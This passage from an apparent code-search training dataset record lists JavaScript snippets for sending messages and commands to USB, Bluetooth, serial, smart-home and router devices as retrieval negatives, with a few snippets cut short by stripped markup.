mensaje(){\\n\\treturn 'Hola Mundo JavaScript';\\n}\",\n \"function onSendMessage(){\\n var msg = document.getElementById(\\\"usermsg\\\").value;\\n if(msg == \\\"\\\") alert(\\\"assicurati di inserire il testo da inviare\\\");\\n else {\\n if(sex == \\\"lui\\\")\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"
\\\";\\n\\telse\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"
\\\";\\n //alert(msg);\\n connection.send(msg);\\n document.getElementById(\\\"usermsg\\\").value=\\\"\\\";\\n }\\n}\",\n \"function testingMSGS(){\\n \\n}\",\n \"function mensaje(){\\r\\n document.write(\\\"Holissss\\\");\\r\\n document.write(\\\"*************\\\")\\r\\n}\",\n \"function submitMsg() {\\n // only submit messages\\n if(ctrl.inputMsg.length > 0) {\\n SocketService.submitMsg(ctrl.inputMsg);\\n\\n // empty the message box\\n ctrl.inputMsg = '';\\n }\\n }\",\n \"function removeMSG(msg) {\\n setTimeout(function () {\\n var Idx = msg.Msg;\\n var isConf = !!msg.UID;\\n\\n var message = document.getElementById(isConf ? \\\"conf-\\\" + msg.UID + \\\"-\\\" + Idx : \\\"priv-\\\" + Idx);\\n\\n if (message){\\n message.innerHTML = \\\"\\\";\\n }\\n }, 100);\\n }\"\n]"},"negative_scores":{"kind":"list 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sendToken2Device (unlockToken) {\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; i\" + textstr\n \n }\n}","function sendSerialData() {\n\t\tif (isLoaded()) {\n\t\t\t// Beggining and ending patterns that signify port has responded\n\t\t\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\n\t\t\tqz.setSerialBegin(chr(2));\n\t\t\tqz.setSerialEnd(chr(13));\n\t\t\t// Baud rate, data bits, stop bits, parity, flow control\n\t\t\t// \"9600\", \"7\", \"1\", \"even\", \"none\" = Default for Mettler Toledo Scale\n\t\t\tqz.setSerialProperties(\"9600\", \"7\", \"1\", \"even\", \"none\");\n\t\t\t// Send raw commands to the specified port.\n\t\t\t// W = weight on Mettler Toledo Scale\n\t\t\tqz.send(document.getElementById(\"port_name\").value, \"\\nW\\n\");\n\t\t\t\n\t\t\t// Automatically called when \"qz.send()\" is finished waiting for \n\t\t\t// a valid message starting with the value supplied for setSerialBegin()\n\t\t\t// and ending with with the value supplied for setSerialEnd()\n\t\t\twindow['qzSerialReturned'] = function(portName, data) {\n\t\t\t\tif (qz.getException()) {\n\t\t\t\t\talert(\"Could not send data:\\n\\t\" + qz.getException().getLocalizedMessage());\n\t\t\t\t\tqz.clearException(); \n\t\t\t\t} else {\n\t\t\t\t\tif (data == null || data == \"\") { // Test for blank data\n\t\t\t\t\t\talert(\"No data was returned.\")\n\t\t\t\t\t} else if (data.indexOf(\"?\") !=-1) { // Test for bad data\n\t\t\t\t\t\talert(\"Device not ready. Please wait.\")\n\t\t\t\t\t} else { // Display good data\n\t\t\t\t\t\talert(\"Port [\" + portName + \"] returned data:\\n\\t\" + data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","inbound(count, obj) {\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\n const p = Promise.resolve(handler[obj.type](obj));\n p.then(\n res => D(commandDevice).sendResponse(count, false, harden(res)),\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\n );\n }","function send_button_state(hex_state) {\n $.ajax({\n url: \"webpower/set/\" + hex_state,\n success: function() {\n console.log(\"sent: \" + hex_state)\n },\n });\n }","actuateBell(req, res) {\n const keyValuePairs = req.body.split('|') || [''];\n const command = getUltralightCommand(keyValuePairs[0]);\n const deviceId = 'bell' + req.params.id;\n const result = keyValuePairs[0] + '| ' + command;\n\n if (IoTDevices.notFound(deviceId)) {\n return res.status(404).send(result + NOT_OK);\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\n return res.status(422).send(result + NOT_OK);\n }\n\n // Update device state\n IoTDevices.actuateDevice(deviceId, command);\n return res.status(200).send(result + OK);\n }","send(msg) {\n if (this.connectionId < 0) {\n throw 'Invalid connection';\n }\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\n });\n }","function sendPost(data, callback) {\nvar options = {\n host: 'ws.audioscrobbler.com',\n path: '/2.0/',\n method: 'POST',\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': data.length\n }\n }\n , doPOST = http.request(options, function(request) {\n var reqReturn = ''\n request.setEncoding('utf8')\n request.on('data', function(chunk) {\n reqReturn += chunk\n })\n request.on('end', function() {\n // console.log('[POST RESPONSE] : ' + reqReturn)\n if (typeof(callback) == 'function')\n callback(reqReturn)\n })\n }).on('error', function(err) {\n // TODO\n })\ndoPOST.write(data)\ndoPOST.end()\n}","function sendPostResponse() {\n\t\t\t\t\t\n\t\t\t\t\tvar delaySend = false;\n\t\t\t\t\t// build appropriate response\n\t\t\t\t\tswitch(command) {\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\tcase 'continue':\n\t\t\t\t\t\t\tutils.info('server : Building \"continue\" response');\n\t\t\t\t\t\tcase 'start':\n\t\t\t\t\t\t\tmessage = {Op:'ok', id:deviceId};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'device_ready':\n\t\t\t\t\t\t\tutils.info('server : Building \"device_ready\" response:');\n\t\t\t\t\t\t\tvar task = device.taskGroup.getNextTest();\n\t\t\t\t\t\t\tif(task) {\n\t\t\t\t\t\t\t\tutils.info('\\tSending next task: ' + task);\n\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:task};\n\t\t\t\t\t\t\t} else { // no more tasks, report\n\n\t\t\t\t\t\t\t\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\n\t\t\t\t\t\t\t\tif(!clientConnection.isTestDone) {\n\t\t\t\t\t\t\t\t\tutils.info('server : setting istestdone to true');\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = true;\n\t\t\t\t\t\t\t\t\tclientConnection.reporter.createReport();\n\t\t\t\t\t\t\t\t\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\n\t\t\t\t\t\t\t\t\t\tutils.info('\\tSending EndGame');\n\t\t\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tutils.info('is the next test ready?',\n\t\t\t\t\t\t\t\t clientConnection.isNextTestReady);\n\t\t\t\t\t\t\t\tif(clientConnection.isNextTestReady) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = false;\n\t\t\t\t\t\t\t\t\tclientConnection.isNextTestReady = false;\n\t\t\t\t\t\t\t\t\tdevice.taskGroup.restart();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tutils.info('\\tNo more tasks.');\n\t\t\t\t\t\t\t\t\tmessage = {Op:'nada'};\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'sdk_social_test_start':\n\t\t\t\t\t\t\tutils.info('Adding US Social test set');\n\t\t\t\t\t\t\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'social_test_start':\n\t\t\t\t\t\t\tutils.info('setting tests to social_test_start');\n\t\t\t\t\t\t\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'task_finished':\n\t\t\t\t\t\tcase 'log_start':\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'log_end':\n\t\t\t\t\t\t\t// hold off on sending response if previous messages\n\t\t\t\t\t\t\t// have yet to be received\n\t\t\t\t\t\t\tif(clientConnection.isLogFinished()) {\n\t\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// if previous message never gets resent, we need to send\n\t\t\t\t\t\t\t\t// the response after a timeout\n\t\t\t\t\t\t\t\tif(delaySend === false) {\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\t\t\t\tif(clientConnection.isDelayedResponseSet() === true) {\n\t\t\t\t\t\t\t\t\t\t\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.flush();\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.sendDelayedResponse();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}, 120000);\n\t\t\t\t\t\t\t\t\tdelaySend = true;\n\t\t\t\t\t\t\t\t\tclientConnection.setDelayedResponse(response);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tmessage = '';\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif(!delaySend) {\n\t\t\t\t\t\tsendResponse(200, message);\n\t\t\t\t\t}\n\n\t\t\t\t}","function transmit(fullBuffer) {\n\twsSnd.send(\"
([0-9]+)<\\/code>/i);\n\t\t\tif (error_code == null) {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\n\n\t\t\t\t// Set LTE Bands\n\t\t\t\tapi = '/api/net/net-mode';\n\t\t\t\turl = 'http://' + document.apiform.address.value + api;\n\t\t\t\tupdateMessage(url, '', 'Connecting...', '')\n\t\t\t\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\n\t\t\t\txhr.open('POST', url, true);\n\t\t\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\t\t\txhr.setRequestHeader('__RequestVerificationToken', token);\n\t\t\t\txhr.onload = function(e) {\n\t\t\t\t\terror_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\t\t\tconsole.log(error_code);\n\t\t\t\t\tif (error_code == null) {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\txhr.onerror = function(e) {\n\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\n\t\t\t\t};\n\t\t\t\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\"UTF-8\"');\n\t\t\t\tconsole.log(document.apiform.reqparams.value);\n\t\t\t\txhr.send(document.apiform.reqparams.value);\n\n\t\t\t} else {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\n\t\t}\n\n\t} else {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\n\t}\n}","async send() {\n const onComplete = this.props.navigation.state.params.onComplete;\n try {\n let done = await this.props.wire.send();\n\n if (!done) {\n return;\n }\n\n if (onComplete) onComplete();\n this.props.navigation.goBack();\n } catch (e) {\n if (!e || e.message !== 'E_CANCELLED') {\n console.error('Wire/send()', e);\n\n Alert.alert(\n 'There was a problem sending wire',\n (e && e.message) || 'Unknown internal error',\n [{ text: 'OK' }],\n { cancelable: false }\n );\n }\n }\n }","function onOpen() {\n console.log('Port Open');\n console.log(`Baud Rate: ${port.options.baudRate}`);\n const outString = String.fromCharCode(output);\n console.log(`Sent:\\t\\t${outString}`);\n port.write(outString);\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"function bleSend() {\\n 